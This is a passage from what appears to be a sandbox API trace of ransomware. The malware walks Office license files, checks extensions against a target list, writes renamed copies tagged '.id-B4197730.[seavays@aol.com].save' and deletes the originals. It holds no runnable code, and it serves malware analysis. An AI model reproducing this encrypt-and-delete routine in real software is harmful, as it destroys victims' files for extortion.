office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1 [0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0187.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0187.350] lstrlenW (lpString=".doc") returned 4 [0187.350] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.350] lstrlenW (lpString=".docx") returned 5 [0187.350] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.351] lstrlenW (lpString=".pdf") returned 4 [0187.351] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.351] lstrlenW (lpString=".xls") returned 4 [0187.351] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.351] lstrlenW (lpString=".xlsx") returned 5 [0187.351] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.351] lstrlenW (lpString=".ppt") returned 4 [0187.351] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0187.351] lstrlenW (lpString=".zip") returned 4 [0187.351] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.351] lstrlenW (lpString=".rar") returned 4 [0187.351] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.351] lstrlenW (lpString=".bz2") returned 4 [0187.351] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.351] lstrlenW (lpString=".7z") returned 3 [0187.351] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0187.351] lstrlenW (lpString=".dbf") returned 4 [0187.351] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0187.351] lstrlenW (lpString=".1cd") returned 4 [0187.352] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83 [0187.352] lstrlenW (lpString=".jpg") returned 4 [0187.352] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.352] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11609) returned 1 [0187.352] CloseHandle (hObject=0x550) returned 1 [0187.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 0x220 [0187.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.354] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.354] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.355] GetLastError () returned 0x0 [0187.355] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d59, lpOverlapped=0x0) returned 1 [0187.358] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0187.359] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.359] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x118, lpOverlapped=0x0) returned 1 [0187.359] SetEndOfFile (hFile=0x530) returned 1 [0187.360] CloseHandle (hObject=0x530) returned 1 [0187.360] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.360] SetEndOfFile (hFile=0x550) returned 1 [0187.364] CloseHandle (hObject=0x550) returned 1 [0187.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.364] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-oob.xrm-ms")) returned 1 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0187.366] lstrlenW (lpString=".doc") returned 4 [0187.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0187.366] lstrlenW (lpString=".docx") returned 5 [0187.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0187.366] lstrlenW (lpString=".pdf") returned 4 [0187.366] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0187.366] lstrlenW (lpString=".xls") returned 4 [0187.366] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0187.366] lstrlenW (lpString=".xlsx") returned 5 [0187.366] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0187.366] lstrlenW (lpString=".ppt") returned 4 [0187.366] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0187.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0187.366] lstrlenW (lpString=".zip") returned 4 [0187.366] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0187.366] lstrlenW (lpString=".rar") returned 4 [0187.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0187.366] lstrlenW (lpString=".bz2") returned 4 [0187.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0187.366] lstrlenW (lpString=".7z") returned 3 [0187.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0187.367] lstrlenW (lpString=".dbf") returned 4 [0187.367] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0187.367] lstrlenW (lpString=".1cd") returned 4 [0187.367] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0187.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-oob.xrm-ms") returned 84 [0187.367] lstrlenW (lpString=".jpg") returned 4 [0187.367] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0187.368] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19954) returned 1 [0187.368] CloseHandle (hObject=0x550) returned 1 [0187.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0187.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0187.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0187.370] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.370] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0187.761] GetLastError () returned 0x0 [0187.761] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x4df2, lpOverlapped=0x0) returned 1 [0187.767] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0187.769] ReadFile (in: hFile=0x550, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0187.769] WriteFile (in: hFile=0x530, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x118, lpOverlapped=0x0) returned 1 [0187.769] SetEndOfFile (hFile=0x530) returned 1 [0187.770] CloseHandle (hObject=0x530) returned 1 [0187.770] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0187.770] SetEndOfFile (hFile=0x550) returned 1 [0187.774] CloseHandle (hObject=0x550) returned 1 [0187.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0188.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1 [0188.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0188.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0188.991] lstrlenW (lpString=".doc") returned 4 [0188.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.991] lstrlenW (lpString=".docx") returned 5 [0188.992] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.992] lstrlenW (lpString=".pdf") returned 4 [0188.992] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.992] lstrlenW (lpString=".xls") returned 4 [0188.992] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.992] lstrlenW (lpString=".xlsx") returned 5 [0188.992] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.992] lstrlenW (lpString=".ppt") returned 4 [0188.992] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0188.992] lstrlenW (lpString=".zip") returned 4 [0188.992] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.992] lstrlenW (lpString=".rar") returned 4 [0188.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.992] lstrlenW (lpString=".bz2") returned 4 [0188.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.992] lstrlenW (lpString=".7z") returned 3 [0188.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0188.992] lstrlenW (lpString=".dbf") returned 4 [0188.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0188.993] lstrlenW (lpString=".1cd") returned 4 [0188.993] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0188.993] lstrlenW (lpString=".jpg") returned 4 [0188.993] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0190.408] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.408] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0190.409] GetLastError () returned 0x0 [0190.409] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d5d, lpOverlapped=0x0) returned 1 [0190.412] WriteFile (in: hFile=0x36c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0190.414] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0190.414] WriteFile (in: hFile=0x36c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x11a, lpOverlapped=0x0) returned 1 [0190.414] SetEndOfFile (hFile=0x36c) returned 1 [0190.414] CloseHandle (hObject=0x36c) returned 1 [0190.414] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.414] SetEndOfFile (hFile=0x530) returned 1 [0190.420] CloseHandle (hObject=0x530) returned 1 [0190.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ul-oob.xrm-ms")) returned 1 [0190.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0190.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0190.422] lstrlenW (lpString=".doc") returned 4 [0190.423] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString=".docx") returned 5 [0190.423] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.423] lstrlenW (lpString=".pdf") returned 4 [0190.423] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString=".xls") returned 4 [0190.423] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString=".xlsx") returned 5 [0190.423] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.423] lstrlenW (lpString=".ppt") returned 4 [0190.423] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0190.423] lstrlenW (lpString=".zip") returned 4 [0190.423] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString=".rar") returned 4 [0190.423] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString=".bz2") returned 4 [0190.423] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString=".7z") returned 3 [0190.423] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0190.423] lstrlenW (lpString=".dbf") returned 4 [0190.423] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0190.424] lstrlenW (lpString=".1cd") returned 4 [0190.424] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ul-oob.xrm-ms") returned 85 [0190.424] lstrlenW (lpString=".jpg") returned 4 [0190.424] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.424] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11621) returned 1 [0190.425] CloseHandle (hObject=0x530) returned 1 [0190.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220 [0190.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0190.427] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.427] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0190.429] GetLastError () returned 0x0 [0190.429] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2d65, lpOverlapped=0x0) returned 1 [0190.431] WriteFile (in: hFile=0x36c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0190.433] ReadFile (in: hFile=0x530, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0190.433] WriteFile (in: hFile=0x36c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x116, lpOverlapped=0x0) returned 1 [0190.433] SetEndOfFile (hFile=0x36c) returned 1 [0190.433] CloseHandle (hObject=0x36c) returned 1 [0190.433] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0190.433] SetEndOfFile (hFile=0x530) returned 1 [0190.438] CloseHandle (hObject=0x530) returned 1 [0190.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 1 [0190.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0190.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0190.440] lstrlenW (lpString=".doc") returned 4 [0190.441] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.441] lstrlenW (lpString=".docx") returned 5 [0190.441] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.441] lstrlenW (lpString=".pdf") returned 4 [0190.441] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.441] lstrlenW (lpString=".xls") returned 4 [0190.441] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.441] lstrlenW (lpString=".xlsx") returned 5 [0190.441] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.441] lstrlenW (lpString=".ppt") returned 4 [0190.441] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0190.441] lstrlenW (lpString=".zip") returned 4 [0190.441] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.441] lstrlenW (lpString=".rar") returned 4 [0190.441] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.441] lstrlenW (lpString=".bz2") returned 4 [0190.441] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.441] lstrlenW (lpString=".7z") returned 3 [0190.441] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0190.441] lstrlenW (lpString=".dbf") returned 4 [0190.441] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0190.442] lstrlenW (lpString=".1cd") returned 4 [0190.442] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms") returned 83 [0190.442] lstrlenW (lpString=".jpg") returned 4 [0190.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.443] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=11171) returned 1 [0190.443] CloseHandle 